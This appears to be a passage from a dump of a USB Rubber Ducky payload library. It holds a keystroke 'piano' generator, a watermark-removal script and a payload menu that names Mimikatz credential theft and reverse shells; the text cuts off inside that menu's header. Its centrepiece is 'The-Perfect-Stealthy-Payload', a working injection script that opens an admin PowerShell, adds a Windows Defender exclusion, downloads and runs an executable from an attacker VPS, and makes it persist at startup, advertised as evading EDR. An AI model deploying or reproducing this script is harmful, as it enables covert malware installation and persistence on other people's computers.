20\ntick()\nHOLD t\nHOLD p\nHOLD b\nDELAY 20\nRELEASE t\nRELEASE p\nRELEASE b\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD e\nHOLD x\nDELAY 20\nRELEASE e\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD p\nDELAY 20\nRELEASE q\nRELEASE p\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD r\nHOLD c\nDELAY 20\nRELEASE r\nRELEASE c\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD v\nDELAY 20\nRELEASE t\nRELEASE v\ntick()\nDELAY 20\ntick()\nHOLD 5\nHOLD f\nDELAY 20\nRELEASE 5\nRELEASE f\ntick()\nHOLD r\nHOLD c\nDELAY 20\nRELEASE r\nRELEASE c\ntick()\nDELAY 20\ntick()\nHOLD e\nHOLD x\nDELAY 20\nRELEASE e\nRELEASE x\ntick()\nHOLD i\nHOLD m\nDELAY 20\nRELEASE i\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD p\nHOLD .\nDELAY 20\nRELEASE p\nRELEASE .\ntick()\nHOLD z\nHOLD /\nDELAY 20\nRELEASE z\nRELEASE /\ntick()\nDELAY 20\ntick()\nHOLD o\nHOLD ,\nDELAY 20\nRELEASE o\nRELEASE ,\ntick()\nHOLD p\nHOLD .\nDELAY 20\nRELEASE p\nRELEASE .\ntick()\nDELAY 20\ntick()\nHOLD i\nHOLD m\nDELAY 20\nRELEASE i\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD y\nHOLD b\nDELAY 20\nRELEASE y\nRELEASE b\ntick()\nHOLD u\nHOLD n\nDELAY 20\nRELEASE u\nRELEASE n\ntick()\nHOLD t\nHOLD v\nDELAY 20\nRELEASE t\nRELEASE v\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nDELAY 20\nRELEASE q\ntick()\nDELAY 20\ntick()\nHOLD m\nHOLD .\nDELAY 20\nRELEASE m\nRELEASE .\ntick()\nHOLD e\nHOLD l\nDELAY 20\nRELEASE e\nRELEASE l\ntick()\nHOLD n\nHOLD ,\nDELAY 20\nRELEASE n\nRELEASE ,\ntick()\nHOLD v\nHOLD n\nDELAY 20\nRELEASE v\nRELEASE n\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nHOLD b\nHOLD m\nDELAY 20\nRELEASE b\nRELEASE m\ntick()\nHOLD r\nDELAY 20\nRELEASE r\ntick()\nHOLD p\nHOLD d\nDELAY 20\nRELEASE p\nRELEASE d\ntick()\nHOLD z\nHOLD c\nDELAY 20\nRELEASE z\nRELEASE c\ntick()\nHOLD i\nHOLD b\nDELAY 20\nRELEASE i\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD i\nHOLD c\nDELAY 20\nRELEASE i\nRELEASE c\ntick()\nHOLD z\nHOLD b\nDELAY 20\nRELEASE z\nRELEASE b\ntick()\nHOLD z\nHOLD n\nDELAY 20\nRELEASE z\nRELEASE n\ntick()\nHOLD q\nDELAY 20\nRELEASE q\ntick()\nDELAY 20\ntick()\nHOLD m\nHOLD .\nDELAY 20\nRELEASE m\nRELEASE .\ntick()\nHOLD e\nHOLD l\nDELAY 20\nRELEASE e\nRELEASE l\ntick()\nHOLD n\nHOLD ,\nDELAY 20\nRELEASE n\nRELEASE ,\ntick()\nHOLD v\nHOLD n\nDELAY 20\nRELEASE v\nRELEASE n\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nHOLD i\nHOLD m\nDELAY 20\nRELEASE i\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD b\nHOLD ,\nHOLD .\nDELAY 20\nRELEASE b\nRELEASE ,\nRELEASE .\ntick()\nDELAY 20\ntick()\nHOLD b\nHOLD ,\nHOLD .\nDELAY 20\nRELEASE b\nRELEASE ,\nRELEASE .\ntick()\nHOLD b\nHOLD ,\nHOLD .\nDELAY 20\nRELEASE b\nRELEASE ,\nRELEASE .\ntick()\nDELAY 20\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nDELAY 20\ntick()\nHOLD q\nDELAY 20\nRELEASE q\ntick()\nDELAY 20\ntick()\nHOLD m\nHOLD .\nDELAY 20\nRELEASE m\nRELEASE .\ntick()\nHOLD e\nHOLD l\nDELAY 20\nRELEASE e\nRELEASE l\ntick()\nHOLD n\nHOLD ,\nDELAY 20\nRELEASE n\nRELEASE ,\ntick()\nHOLD v\nHOLD n\nDELAY 20\nRELEASE v\nRELEASE n\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nHOLD b\nHOLD m\nDELAY 20\nRELEASE b\nRELEASE m\ntick()\nHOLD r\nDELAY 20\nRELEASE r\ntick()\nHOLD p\nHOLD d\nDELAY 20\nRELEASE p\nRELEASE d\ntick()\nHOLD z\nHOLD c\nDELAY 20\nRELEASE z\nRELEASE c\ntick()\nHOLD i\nHOLD b\nDELAY 20\nRELEASE i\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD i\nHOLD c\nDELAY 20\nRELEASE i\nRELEASE c\ntick()\nHOLD z\nHOLD b\nDELAY 20\nRELEASE z\nRELEASE b\ntick()\nHOLD z\nHOLD n\nDELAY 20\nRELEASE z\nRELEASE n\ntick()\nHOLD q\nDELAY 20\nRELEASE q\ntick()\nDELAY 20\ntick()\nHOLD 6\nHOLD d\nHOLD j\nDELAY 20\nRELEASE 6\nRELEASE d\nRELEASE j\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD 7\nHOLD z\nHOLD n\nDELAY 20\nRELEASE 7\nRELEASE z\nRELEASE n\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD i\nHOLD p\nHOLD b\nDELAY 20\nRELEASE i\nRELEASE p\nRELEASE b\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nDELAY 20\ntick()\nHOLD q\nDELAY 20\nRELEASE q\ntick()\nDELAY 20\ntick()\nHOLD 6\nHOLD d\nHOLD b\nDELAY 20\nRELEASE 6\nRELEASE d\nRELEASE b\ntick()\nHOLD d\nHOLD b\nDELAY 20\nRELEASE d\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD d\nHOLD b\nDELAY 20\nRELEASE 3\nRELEASE d\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nHOLD 6\nHOLD n\nDELAY 20\nRELEASE 6\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD x\nHOLD m\nDELAY 20\nRELEASE t\nRELEASE x\nRELEASE m\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD c\nDELAY 20\nRELEASE q\nRELEASE c\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nDELAY 20\ntick()\nHOLD 6\nHOLD d\nHOLD b\nDELAY 20\nRELEASE 6\nRELEASE d\nRELEASE b\ntick()\nHOLD d\nHOLD b\nDELAY 20\nRELEASE d\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD d\nHOLD b\nDELAY 20\nRELEASE 3\nRELEASE d\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nHOLD 6\nHOLD n\nDELAY 20\nRELEASE 6\nRELEASE n\ntick()\nHOLD x\nHOLD m\nDELAY 20\nRELEASE x\nRELEASE m\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nDELAY 20\nRELEASE q\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nDELAY 20\ntick()\nHOLD 6\nHOLD d\nHOLD b\nDELAY 20\nRELEASE 6\nRELEASE d\nRELEASE b\ntick()\nHOLD d\nHOLD b\nDELAY 20\nRELEASE d\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD 3\nHOLD d\nHOLD b\nDELAY 20\nRELEASE 3\nRELEASE d\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nHOLD 6\nHOLD n\nDELAY 20\nRELEASE 6\nRELEASE n\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD x\nHOLD m\nDELAY 20\nRELEASE t\nRELEASE x\nRELEASE m\ntick()\nHOLD b\nDELAY 20\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD c\nDELAY 20\nRELEASE q\nRELEASE c\ntick()\nHOLD x\nDELAY 20\nRELEASE x\ntick()\nDELAY 20\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD 5\nHOLD m\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE m\ntick()\nHOLD w\nHOLD 5\nHOLD m\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD 5\nHOLD m\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD 5\nHOLD b\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE b\ntick()\nHOLD w\nHOLD 5\nHOLD m\nDELAY 20\nRELEASE w\nRELEASE 5\nRELEASE m\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD u\nHOLD .\nDELAY 20\nRELEASE t\nRELEASE u\nRELEASE .\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD x\nDELAY 20\nRELEASE t\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD m\nDELAY 20\nRELEASE q\nRELEASE m\ntick()\nHOLD c\nHOLD b\nDELAY 20\nRELEASE c\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD p\nHOLD x\nDELAY 20\nRELEASE t\nRELEASE p\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD i\nHOLD d\nDELAY 20\nRELEASE i\nRELEASE d\ntick()\nDELAY 20\ntick()\nHOLD r\nHOLD c\nDELAY 20\nRELEASE r\nRELEASE c\ntick()\nHOLD b\nHOLD ,\nDELAY 20\nRELEASE b\nRELEASE ,\ntick()\nHOLD r\nDELAY 20\nRELEASE r\ntick()\nHOLD b\nHOLD ,\nDELAY 20\nRELEASE b\nRELEASE ,\ntick()\nHOLD i\nHOLD c\nDELAY 20\nRELEASE i\nRELEASE c\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nHOLD r\nDELAY 20\nRELEASE r\ntick()\nDELAY 20\ntick()\nHOLD w\nHOLD v\nDELAY 20\nRELEASE w\nRELEASE v\ntick()\nHOLD ,\nHOLD /\nDELAY 20\nRELEASE ,\nRELEASE /\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD ,\nHOLD /\nDELAY 20\nRELEASE t\nRELEASE ,\nRELEASE /\ntick()\nHOLD ,\nHOLD /\nDELAY 20\nRELEASE ,\nRELEASE /\ntick()\nDELAY 20\ntick()\nHOLD u\nHOLD .\nDELAY 20\nRELEASE u\nRELEASE .\ntick()\nHOLD n\nHOLD ,\nDELAY 20\nRELEASE n\nRELEASE ,\ntick()\nHOLD t\nHOLD m\nDELAY 20\nRELEASE t\nRELEASE m\ntick()\nHOLD c\nHOLD b\nDELAY 20\nRELEASE c\nRELEASE b\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nHOLD z\nHOLD c\nDELAY 20\nRELEASE z\nRELEASE c\ntick()\nHOLD i\nHOLD x\nDELAY 20\nRELEASE i\nRELEASE x\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD m\nDELAY 20\nRELEASE q\nRELEASE m\ntick()\nHOLD c\nHOLD b\nDELAY 20\nRELEASE c\nRELEASE b\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD p\nHOLD x\nDELAY 20\nRELEASE t\nRELEASE p\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD i\nHOLD d\nDELAY 20\nRELEASE i\nRELEASE d\ntick()\nDELAY 20\ntick()\nHOLD r\nHOLD c\nDELAY 20\nRELEASE r\nRELEASE c\ntick()\nHOLD b\nHOLD ,\nDELAY 20\nRELEASE b\nRELEASE ,\ntick()\nHOLD r\nDELAY 20\nRELEASE r\ntick()\nHOLD b\nHOLD ,\nDELAY 20\nRELEASE b\nRELEASE ,\ntick()\nHOLD i\nHOLD c\nDELAY 20\nRELEASE i\nRELEASE c\ntick()\nHOLD i\nDELAY 20\nRELEASE i\ntick()\nHOLD r\nDELAY 20\nRELEASE r\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD v\nDELAY 20\nRELEASE t\nRELEASE v\ntick()\nHOLD n\nHOLD ,\nDELAY 20\nRELEASE n\nRELEASE ,\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD n\nHOLD ,\nDELAY 20\nRELEASE t\nRELEASE n\nRELEASE ,\ntick()\nHOLD t\nHOLD ,\nDELAY 20\nRELEASE t\nRELEASE ,\ntick()\nDELAY 20\ntick()\nHOLD y\nHOLD m\nDELAY 20\nRELEASE y\nRELEASE m\ntick()\nHOLD u\nHOLD v\nHOLD n\nDELAY 20\nRELEASE u\nRELEASE v\nRELEASE n\ntick()\nHOLD i\nHOLD x\nHOLD b\nDELAY 20\nRELEASE i\nRELEASE x\nRELEASE b\ntick()\nHOLD p\nDELAY 20\nRELEASE p\ntick()\nHOLD t\nDELAY 20\nRELEASE t\ntick()\nHOLD p\nDELAY 20\nRELEASE p\ntick()\nHOLD q\nHOLD i\nDELAY 20\nRELEASE q\nRELEASE i\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD t\nHOLD p\nHOLD b\nDELAY 20\nRELEASE t\nRELEASE p\nRELEASE b\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD e\nHOLD x\nDELAY 20\nRELEASE e\nRELEASE x\ntick()\nDELAY 20\ntick()\nDELAY 20\ntick()\nHOLD q\nHOLD p\nDELAY 20\nRELEASE q\nRELEASE p\ntick()\nDELAY 20\ntick()\nHOLD r\nHOLD c\nDELAY 20\nRELEASE r\nRELEASE c\ntick()\nHOLD v\nDELAY 20\nRELEASE v\ntick()\nDELAY 20\ntick()\nHOLD c\nDELAY 20\nRELEASE c\ntick()\nHOLD 2\nHOLD z\nHOLD d\nDELAY 20\nRELEASE 2\nRELEASE z\nRELEASE d\ntick()\nHOLD f\nDELAY 20\nRELEASE f\ntick()\nDELAY 20\ntick()\nHOLD c\nDELAY 20\nRELEASE c\ntick()\nHOLD q\nHOLD p\nHOLD x\nDELAY 20\nRELEASE q\nRELEASE p\nRELEASE x\ntick()\nHOLD z\nDELAY 20\nRELEASE z\ntick()\nHOLD q\nHOLD p\nHOLD x\nDELAY 20\nRELEASE q\nRELEASE p\nRELEASE x\ntick()\n"
  },
  {
    "path": "payloads/library/general/Piano_Player/piano_player.py",
    "content": "import argparse\nfrom pathlib import Path\n\n\nOS_DETECT_EXTENSION = Path(__file__).resolve().parents[4] / \"payloads\" / \"extensions\" / \"os_detect.txt\"\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"notes\", metavar=\"NOTES_FILE\", help=\"Path to notes file\")\n    parser.add_argument(\"payload\", metavar=\"PAYLOAD_FILE\", help=\"Save payload code to this file\")\n    parser.add_argument(\"-p\", \"--press-mode\", help=\"Deploy with press mode\", action=\"store_true\")\n    return parser.parse_args()\n\n\ndef generate_keymap(maps: str) -> dict:\n    keymap = {}\n    for exp in maps.split(\" \"):\n        note, key = exp.split(\"=\")\n        keymap[note] = key\n    return keymap\n\n\ndef notes_to_code(roll: list, keymap: dict, tick: int, url: str, press_mode: bool) -> str:\n    # Adjust tick to account for note held duration\n    adjusted_tick = tick - 20\n    if adjusted_tick < 20:\n        raise Exception(f\"tick ({tick}) is too low! Must be at least 40ms.\")\n\n    code = \"\"\n    indent = \"\"\n    # Head\n    if not press_mode:\n        with open(OS_DETECT_EXTENSION) as f:\n            code += f.read() + \"\\n\"\n        code += f\"\"\"IF ($_OS == WINDOWS) THEN\n    GUI r\nELSE IF ($_OS == MACOS) THEN\n    COMMAND SPACE\nELSE IF ($_OS == LINUX) THEN\n    CONTROL ESCAPE\nELSE\n    GUI\nEND_IF\n\nDELAY 1000\nSTRING {url}\nENTER\nDELAY 2000\\n\n\"\"\"\n    else:\n        indent = \"    \"\n        code += \"ATTACKMODE HID STORAGE\\n\\n\"\n\n    # Function (common)\n    code += f\"\"\"FUNCTION tick()\n    DELAY {adjusted_tick}\nEND_FUNCTION\\n\n\"\"\"\n\n    if press_mode:\n        code += \"\"\"WHILE TRUE\n    WAIT_FOR_BUTTON_PRESS\n\"\"\"\n\n    # Each row is one or more note press, or a rest. Notes and rests are\n    # held for 20ms (not configurable), but the total interval between rows is\n    # approx. the specified tick time.\n    for row in roll:\n        notes = [n for n in row.split(\"  \") if n != \"---\"]\n        for note in notes:\n            code += f\"{indent}HOLD {keymap[note]}\\n\"\n        code += f\"{indent}DELAY 20\\n\"\n        for note in notes:\n            code += f\"{indent}RELEASE {keymap[note]}\\n\"\n        code += f\"{indent}tick()\\n\"\n    if press_mode:\n        code += \"END_WHILE\"\n\n    return code\n\n\nif __name__ == \"__main__\":\n    args = parse_args()\n    with open(args.notes) as f:\n        notes = [line.strip() for line in f.readlines()]\n\n    tick = int(notes[0].split(\"ms\")[0])\n    url = notes[1]\n    keymap = generate_keymap(notes[2])\n    roll = notes[4:]\n\n    with open(args.payload, \"w\") as f:\n        f.write(notes_to_code(roll, keymap, tick, url, args.press_mode))\n"
  },
  {
    "path": "payloads/library/general/The-Perfect-Stealthy-Payload/README.md",
    "content": "#The-Perfect-Stealthy-Payload\n\n**Author:** zb0r  \n**Version:** 1.0\n\n## Description\nWelcome to the mischievous world of the \"Cache Folder Exclusion & Payload Download + Persistence\" payload! This payload is like a digital ninja, sneaking into Windows systems, creating a safe haven in the `Windows/temp` folder called `Cache`, adding a sneaky exclusion in Windows Defender, downloading a payload from a VPS, executing it, and ensuring it stays persistent by adding itself to the startup. It's designed to evade most Endpoint Detection and Response (EDR) systems. Just remember, the delay is set for dramatic effect (and testing purposes) but can be sped up to unleash the ninja faster.\n\n## Target\n**Operating System:** Windows\n\n## Note\n- **Stealth Mode:** This payload is designed to fly under the radar of most EDRs.\n- **Customizable Speed:** The delays are set for testing; you can reduce them for a quicker execution.\n\n## Payload Steps\n1. **Initial Delay:** Give the system a moment to recognize the USB Rubber Ducky.\n2. **Open PowerShell as Admin:** Trigger the `Run` dialog, type `powershell`, and execute it with administrative privileges.\n3. **Create Cache Folder:** Make a new folder named `Cache` in the `Windows/temp` directory.\n4. **Defender Exclusion:** Add the `Cache` folder to Windows Defender exclusions via registry manipulation.\n5. **Download Payload:** Use `Invoke-WebRequest` to download the payload into the `Cache` folder.\n6. **Execute Payload:** Run the downloaded payload.\n7. **Persistence:** Add the payload to startup, ensuring it runs every time the system boots.\n\n"
  },
  {
    "path": "payloads/library/general/The-Perfect-Stealthy-Payload/payload.txt",
    "content": "REM Title: The-Perfect-Stealthy-Payload\nREM Author: zb0r\nREM Description: Opens PowerShell as admin, creates a folder in Windows/temp called Cache, adds exclusion in Defender, downloads the payload from VPS/ inside the Cache folder, executes it, and adds it to startup\nREM Target: Windows\nREM Note: This evades most EDRs. // Delay is too big for testing purposes, can be lowered significantly. // I removed every instance of my VPS.\nREM Note: replace VPSIPHERE with the IP of your VPS and the correct port (ex:4444) and the name of your payload (ex: Shelzy.exe)\nREM Version: 1.0\nDEFINE #VPSISHERE 0.0.0.0\nDEFINE #EXE_NAME Shelzy.exe\nDEFINE #PORT 4444\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\nDELAY 100\nGUI r\nDELAY 500\nSTRING powershell\nDELAY 500\nCTRL SHIFT ENTER\nDELAY 1000\nLEFTARROW\nDELAY 1000\nENTER\nDELAY 1500\nREM Create Cache folder in Windows/temp\nSTRINGLN mkdir \"$env:windir\\temp\\Cache\"\nDELAY 500\n\nREM Add exclusion in Defender for Cache folder via registry manipulation\nSTRINGLN Start-Process powershell -Verb RunAs -ArgumentList 'New-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\" -Name \"C:\\Windows\\Temp\\Cache\" -Value \"C:\\Windows\\Temp\\Cache\" -PropertyType String -Force'\nDELAY 500\n\nREM Download payload from VPS Invoke-WebRequest\nSTRINGLN Invoke-WebRequest -Uri \"http://#VPSIPHERE:#PORT/#EXE_NAME\" -OutFile \"$env:windir\\temp\\Cache\\#EXE_NAME\"\nDELAY 3000\n\nREM Execute the downloaded payload\nSTRINGLN Start-Process \"$env:windir\\temp\\Cache\\#EXE_NAME\"\nDELAY 500\n\nREM Add #EXE_NAME to startup\nSTRINGLN $s=(New-Object -COM WScript.Shell).CreateShortcut(\"$env:appdata\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Shelzy.lnk\");$s.TargetPath=\"$env:windir\\temp\\Cache\\#EXE_NAME\";$s.Save()\nDELAY 500\n\nSTRING EXIT\nDELAY 300\nENTER\n"
  },
  {
    "path": "payloads/library/general/Water-UnMark/README.md",
    "content": "<img src=\"https://github.com/atomiczsec/My-Payloads/blob/main/Assets/watermark.png?raw=true\" width=\"200\">\n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+;Water-UnMark!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Water-UnMark\n\nA payload to get rid of the ugly windows activation watermark.\n\n## Description\nThis script will get rid of the ugly windows watermark. This script will automatically reboot the device. This is not activating your computer!!\n\n## Getting Started\n\n### Dependencies\n\n* Unactivated Windows 10 \n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n```\nSet-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\svsvc\" -Name Start -Value 4 -Force\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here:\n\n[atomiczsec](https://github.com/atomiczsec)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/general/Water-UnMark/payload.txt",
    "content": "﻿REM Title:       Water-UnMark\r\nREM Author:      atomiczsec\r\nREM Target OS:   Windows 10\r\nREM Description: This script will get rid of the ugly windows watermark. This script will automatically reboot the device. This is not activating your computer!!\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 100\r\nSTRING powershell Start-Process powershell -verb runAs\r\nENTER\r\nDELAY 1000\r\nALT Y\r\nDELAY 1000\r\nSTRING Set-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\svsvc\" -Name Start -Value 4 -Force\r\nENTER\r\nDELAY 100\r\nSTRING Restart-Computer -Force\r\nENTER\r\n"
  },
  {
    "path": "payloads/library/general/Water-UnMark/placeholder",
    "content": "\n"
  },
  {
    "path": "payloads/library/general/duckin8or/payload.txt",
    "content": "REM #############################################################################\nREM # DuckyScript 3.0                                                           #\nREM # Title:                          _         _         _         _           #\nREM #     duckin8or                 >(.)__    >(.)__    >(.)__    >(.)__        #\nREM #                                (___/     (___/     (___/     (___/        #\nREM # Author:                   _         _         _         _                 #\nREM #     irrrwin            __(.)<    __(.)<    __(.)<    __(.)<               #\nREM #                        \\___)     \\___)     \\___)     \\___)                #\nREM # Compatibility:                                                            #\nREM #     Windows                                                               #\nREM #                                                                           #\nREM # Description:                                                              #\nREM #     Choose one from 3 attack vectors: (s)creen, (u)ser or (n)etwork and   #\nREM #     run a (v)anilla or (h)ardcore version of it with a button press.      #\nREM #     Vanilla attacks are not intrusive and only grab data. Hardcore stuff  #\nREM #     may interfere with the system and change its state to insecure.       #\nREM #     In addition, Help pop-up and ATTACKMODE STORAGE are available.        #\nREM #                                                                           #\nREM # Usage:                                                                    #\nREM #     0. Insert Rubbing Duck.                                               #\nREM #     1. Choose payload by using a combination of |C|aps Lock, |N|um Lock   #\nREM #        and |S|croll Lock as 0(OFF)/1(ON) switches.                        #\nREM #     2. Press button to run the chosen payload.                            #\nREM #     3. After successful execution, lock keys will start blinking.         #\nREM #     4. Press button again to reset lock keys and go back to menu.         #\nREM #     5. Enjoy.                                                             #\nREM #                                                                           #\nREM # Payloads:                                                                 #\nREM #     0) |-|-|-| [HELP] Help.                                               #\nREM #     1) |-|-|S| [s][v] Proof of Pwnage pop-up and screenshot grab.         #\nREM #     2) |-|N|-| [n][v] Network info exfiltration.                          #\nREM #     3) |-|N|S| [u][h] Disable AV and fetch credentials with Mimikatz.     #\nREM #     4) |C|-|-| [u][v] Open reverse shell with Powershell.                 #\nREM #     5) |C|-|S| [n][h] Connect target to the rogue piña network.           #\nREM #     6) |C|N|-| [s][h] Persistent screenshot exfiltration.                 #\nREM #     7) |C|N|S| [STOR] Storage mode.                                       #\nREM #                                                                           #\nREM # Help:                                                                     #\nREM #     0. Insert duckin8or.                                                  #\nREM #     1. Press the button.                                                  #\nREM #     2. Pop-up with brief payloads descriptions will appear.               #\nREM #                                                                           #\nREM # Tips:                                                                     #\nREM #     * Start by filling out the >>> SETTINGS >>>>>> part.                  #\nREM #     * First letters of the Lock Keys make it easier to remember payloads. #\nREM #       F.e. to use (s)creen attack in vanilla mode press (S)croll Lock     #\nREM #       only. To use it in hardcore mode, press the other two Lock Keys     #\nREM #       instead. The same logic applies for (n)etwork attack and (N)um      #\nREM #       Lock Key. For the (u)ser attacks, the (C)aps Lock is used.          #\nREM #     * Each payload within the appropriate >> block << may be edited       #\nREM #       or removed without breaking other features.                         #\nREM #     * Any serious application 